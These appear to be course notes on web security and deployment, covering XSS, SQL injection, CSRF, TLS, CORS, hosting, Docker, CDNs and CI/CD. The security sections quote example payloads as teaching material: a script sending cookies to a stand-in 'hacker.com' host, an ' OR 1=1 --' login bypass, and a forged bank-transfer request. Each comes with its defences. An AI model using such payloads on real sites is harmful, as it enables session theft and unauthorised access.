Web security, hosting and deployment notes — Unit 5

Web applications are accessible from anywhere in the world, making them prime targets for malicious actors. Security is not an afterthought; it must be designed into the architecture from day one.

⇒1.1 The CIA Triad

The fundamental model of information security:

• Confidentiality: Data should only be accessed by authorized users (e.g., encryption, passwords).
• Integrity: Data should not be altered in transit or at rest by unauthorized parties.
• Availability: Systems should be accessible when needed (e.g., protection against DoS attacks).

XSS is one of the most common web vulnerabilities. It occurs when an application includes untrusted data in a web page without proper validation or escaping.

⇒2.1 How an Attack Works

A malicious user posts a comment on a blog containing JavaScript: `<script>fetch('http://hacker.com/steal?cookie=' + document.cookie)</script>`. When other users view the blog, their browsers execute the script, stealing their session cookies.

⇒2.2 Types of XSS

• Stored XSS: The malicious payload is saved permanently in the database (like the blog comment example).
• Reflected XSS: The payload is embedded in a malicious URL that the victim is tricked into clicking. The server reflects the payload back in the response.
• DOM-based XSS: The vulnerability exists entirely in client-side JavaScript modifying the DOM unsafely.

Modern frontend frameworks (like React, Angular) inherently protect against XSS by automatically escaping data before rendering it.

⇒3.1 Escaping Output

Never trust user input. Before displaying data in HTML, convert special characters to their HTML entity equivalents (e.g., `<` becomes `&lt;`). This forces the browser to render the text literally rather than executing it as code.

⇒3.2 Content Security Policy (CSP)

CSP is an HTTP header that allows site administrators to declare approved sources of content that the browser may load.

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;

If a hacker injects an inline `<script>` into the page, CSP will block the browser from executing it because inline scripts are not explicitly whitelisted.

SQL Injection occurs when untrusted user input is directly concatenated into a backend database query.

⇒4.1 The Attack

Consider the query: `SELECT FROM users WHERE username = '" + userInput + "';` If the hacker enters `' OR 1=1 --` as their username, the resulting query becomes: `SELECT FROM users WHERE username = '' OR 1=1 --';`

Because `1=1` is always true, the database returns every user in the table, bypassing authentication completely.

⇒4.2 Prevention

Never concatenate strings to build queries. Use Parameterized Queries (Prepared Statements). The database driver ensures the input is treated strictly as data, never as executable SQL commands. Using an ORM (like Prisma or Sequelize) automatically handles this safely.

CSRF forces a logged-in victim's browser to send a forged HTTP request, including the victim's session cookie, to a vulnerable web application.

⇒5.1 The Attack Scenario

• Alice logs into her bank at `bank.com`. A session cookie is set.
• Without logging out, she visits `malicious.com`.
• `malicious.com` contains a hidden form that submits an invisible POST request to `bank.com/transfer?amount=1000&to=Hacker`.
• Alice's browser automatically attaches her `bank.com` cookie to the request.
• The bank sees a valid cookie and executes the transfer.

⇒5.2 Prevention

• SameSite Cookies: Setting `SameSite=Lax` or `Strict` prevents the browser from sending cookies on cross-site requests.
• Anti-CSRF Tokens: The server generates a unique, unguessable token and injects it into the legitimate frontend application. Every state-changing request (POST, PUT, DELETE) must include this token. The malicious site cannot guess the token.

HTTP transmits data in plain text. Anyone intercepting the traffic (e.g., on public Wi-Fi) can read passwords and credit card numbers. HTTPS adds a layer of encryption using TLS (Transport Layer Security).

⇒6.1 How TLS works (Asymmetric Encryption)

• Handshake: The browser connects to the server and requests its SSL Certificate, which contains the server's Public Key.
• Verification: The browser verifies the certificate is valid and signed by a trusted Certificate Authority (CA) like Let's Encrypt.
• Session Key: The browser generates a random symmetric session key, encrypts it using the server's Public Key, and sends it to the server.
• Secure Connection: Only the server has the Private Key to decrypt the session key. Now, both parties use the fast symmetric session key to encrypt all subsequent HTTP traffic.

As discussed in previous units, browsers enforce the Same-Origin Policy. CORS is a mechanism that uses additional HTTP headers to tell browsers to give a web application running at one origin, access to selected resources from a different origin.

⇒7.1 Preflight Requests (OPTIONS)

For complex requests (e.g., POST requests with custom headers or JSON payloads), the browser does not send the actual request immediately.

• 1. The browser first sends an `OPTIONS` request (the preflight).
• 2. It asks the server: 'Are you going to accept a POST request with a JSON body from my origin?'
• 3. The server replies with `Access-Control-Allow-Methods` and `Access-Control-Allow-Origin`.
• 4. Only if the server approves does the browser send the actual POST request.

This prevents malicious scripts from blinding firing destructive data at servers that don't expect cross-origin traffic.

These are two distinct security concepts that are often confused.

⇒8.1 Authentication (AuthN)

Proving who you are. The process of verifying the identity of a user, typically via a username and password, biometrics, or Multi-Factor Authentication (MFA).

⇒8.2 Authorization (AuthZ)

Proving what you can do. Once authenticated, does the user have the permissions to perform the requested action? (e.g., A regular user is authenticated, but not authorized to delete the database).

⇒8.3 Broken Access Control

A vulnerability where authorization checks are missing. E.g., User A modifies the URL to `website.com/profile?id=UserB`. If the server returns User B's private data without checking if User A is authorized to see it, the system has Broken Access Control (Insecure Direct Object Reference).

Web hosting is a service that allows organizations and individuals to post a website onto the Internet. A web host provides the technologies and server space required for the website to be viewed.

⇒9.1 Types of Traditional Hosting

• Shared Hosting: Hundreds of websites share the CPU, RAM, and bandwidth of a single physical server. Very cheap, but very slow. If one site gets massive traffic, all other sites crash.
• Virtual Private Server (VPS): A physical server is partitioned into multiple virtual machines. You get dedicated, guaranteed resources (e.g., exactly 2GB RAM, 2 CPUs) and full root access.
• Dedicated Hosting: Renting an entire physical server just for your application. Expensive, but offers maximum performance and control.

Modern web deployment rarely uses traditional hosting. It relies on Cloud Computing providers like Amazon Web Services (AWS), Google Cloud (GCP), and Microsoft Azure.

⇒10.1 IaaS (Infrastructure as a Service)

Providers rent out raw, bare-metal infrastructure (virtual machines, networking, storage buckets). Example: AWS EC2. You are responsible for installing the operating system, security patches, Node.js, and managing scaling yourself.

⇒10.2 PaaS (Platform as a Service)

Providers abstract away the servers. You just provide the application code. Example: Heroku, Vercel, AWS Elastic Beanstalk. The platform handles OS updates, load balancing, and auto-scaling. More expensive per compute unit, but saves massive amounts of DevOps time.

Servers are identified by IP addresses (e.g., `192.168.1.1`). Humans cannot remember IP addresses, so we use Domain Names (e.g., `google.com`).

⇒11.1 The Domain Name System (DNS)

DNS is the phonebook of the internet. When you type a URL, your browser contacts a DNS server to resolve the domain name into an IP address.

⇒11.2 DNS Records

• A Record: Maps a domain to an IPv4 address.
• AAAA Record: Maps a domain to an IPv6 address.
• CNAME Record: Alias. Maps a subdomain (like `www.site.com`) to the root domain (`site.com`).
• MX Record: Directs emails to the correct mail server.
• TXT Record: Used to verify domain ownership and configure email security (SPF, DKIM).

The 'It works on my machine' problem: A developer builds an app on Windows, deploys it to a Linux server, and it crashes due to different dependencies. Containerization solves this.

⇒12.1 What is Docker?

Docker packages an application and all its dependencies (Node.js version, OS libraries, config files) into a single, standardized unit called a Container. Containers run exactly the same regardless of the underlying hardware or OS.

⇒12.2 Images vs Containers

A Dockerfile contains the instructions to build an Image (a read-only template). A Container is a running instance of an Image. It is incredibly lightweight compared to a Virtual Machine because it shares the host OS kernel rather than booting a full guest OS.

When a single server can no longer handle the traffic, the system must scale.

⇒13.1 Vertical vs Horizontal Scaling

• Vertical Scaling (Scale Up): Buying a bigger server (more CPU, more RAM). Has a hard physical limit.
• Horizontal Scaling (Scale Out): Adding more servers to the pool (e.g., going from 1 server to 10 servers). Infinite limits.

⇒13.2 The Load Balancer

When you have 10 servers, the user doesn't know which IP to connect to. The Load Balancer acts as the single point of entry. It sits in front of the servers and distributes incoming HTTP requests evenly among them (e.g., using Round Robin algorithms). If a server crashes, the load balancer stops sending traffic to it.

A reverse proxy is a server that sits in front of web servers and forwards client (e.g. web browser) requests to those web servers. Nginx is the most popular reverse proxy.

⇒14.1 Why use a Reverse Proxy?

Node.js (Express) is great at processing business logic, but terrible at serving static files (images, CSS) or handling raw HTTP connection management at scale.

• SSL Termination: The reverse proxy handles the heavy math of encrypting/decrypting HTTPS traffic. The traffic sent to the internal Node server is plain HTTP, freeing up CPU.
• Static Asset Serving: Nginx can serve static images thousands of times faster than Node.js.
• Security: It hides the existence and characteristics of the internal servers from the outside world.

The traditional deployment process involves manually FTPing files to a server. This is slow and error-prone. Modern web development relies on automation.

⇒15.1 The CI/CD Pipeline (GitHub Actions)

• 1. Developer pushes code to the `main` branch.
• 2. CI (Continuous Integration): A cloud server automatically wakes up, downloads the code, runs the linter, and executes all Unit/Integration tests.
• 3. If tests fail, the pipeline stops and alerts the team.
• 4. CD (Continuous Deployment): If tests pass, the pipeline automatically builds the production Docker image, pushes it to the server, and gracefully restarts the application without downtime.

This enables teams to deploy new features to production dozens of times a day safely.

Database queries and server-side rendering take time and consume CPU. For sites where content doesn't change every second (like blogs, documentation, corporate sites), SSR is overkill.

⇒16.1 How SSG Works

Tools like Next.js, Gatsby, or Hugo run during the build step (in the CI/CD pipeline). They query the database once, generate thousands of pure, static HTML files, and upload them to a server.

⇒16.2 The Jamstack Philosophy

(JavaScript, APIs, and Markup). Because the output is just static HTML files, you don't need a Node.js server. The files are hosted globally on a CDN (Content Delivery Network). This results in blazing fast load times, perfect SEO, and absolute security (there is no database on the live server to hack).

The speed of light is a hard limit. If your server is in New York, a user in Tokyo will experience high latency (lag) while downloading your website's heavy images and JavaScript bundles.

⇒17.1 How CDNs Work

A CDN (like Cloudflare or AWS CloudFront) is a geographically distributed group of servers. They cache (copy) the static assets of your website.

When the user in Tokyo requests your site, the CDN routes the request to a physical server located in Tokyo, returning the cached image instantly. The request never has to travel across the ocean to New York.

• Drastically improves load speeds globally.
• Reduces bandwidth costs on your main server.
• Provides protection against DDoS attacks by absorbing malicious traffic at the network edge.

A slow website severely damages user retention and SEO rankings.

⇒18.1 Key Optimization Techniques

• Minification: Removing all whitespace, comments, and long variable names from JS and CSS files before deployment to reduce file size.
• Compression (Gzip/Brotli): The server mathematically compresses text files before sending them; the browser decompresses them. Reduces payload by up to 70%.
• Image Optimization: Serving modern formats (WebP/AVIF) instead of heavy JPEGs. Implementing lazy-loading so images below the fold aren't downloaded until the user scrolls down.
• Code Splitting: Instead of sending a massive 5MB `bundle.js` file, modern frameworks split the code and only send the JS needed for the specific page the user is viewing.

Once the application is deployed, you cannot rely on `console.log` in the terminal to figure out why a user experienced an error.

⇒19.1 Application Performance Monitoring (APM)

Tools like Datadog or New Relic run alongside your application. They track metrics like CPU usage, memory leaks, and exactly how many milliseconds every database query takes.

⇒19.2 Centralized Logging and Error Tracking

When an unhandled exception crashes the Node.js server, the stack trace must be saved. Services like Sentry or LogRocket capture the error, the stack trace, and the exact browser/OS the user was using, alerting the developers on Slack automatically.

The infrastructure landscape is shifting heavily towards abstractions that remove servers from the equation entirely.

⇒20.1 Edge Computing

Traditional Serverless functions run in a specific data center (e.g., US-East). Edge computing pushes the execution of the server-side code out to the CDN servers (the edge). The JavaScript backend code runs in the physical city closest to the user, resulting in near-zero latency for backend logic.

⇒20.2 Backend as a Service (BaaS)

Services like Firebase or Supabase provide databases, authentication, and file storage via direct APIs. Frontend developers can build full-stack web applications without ever writing or deploying a backend server.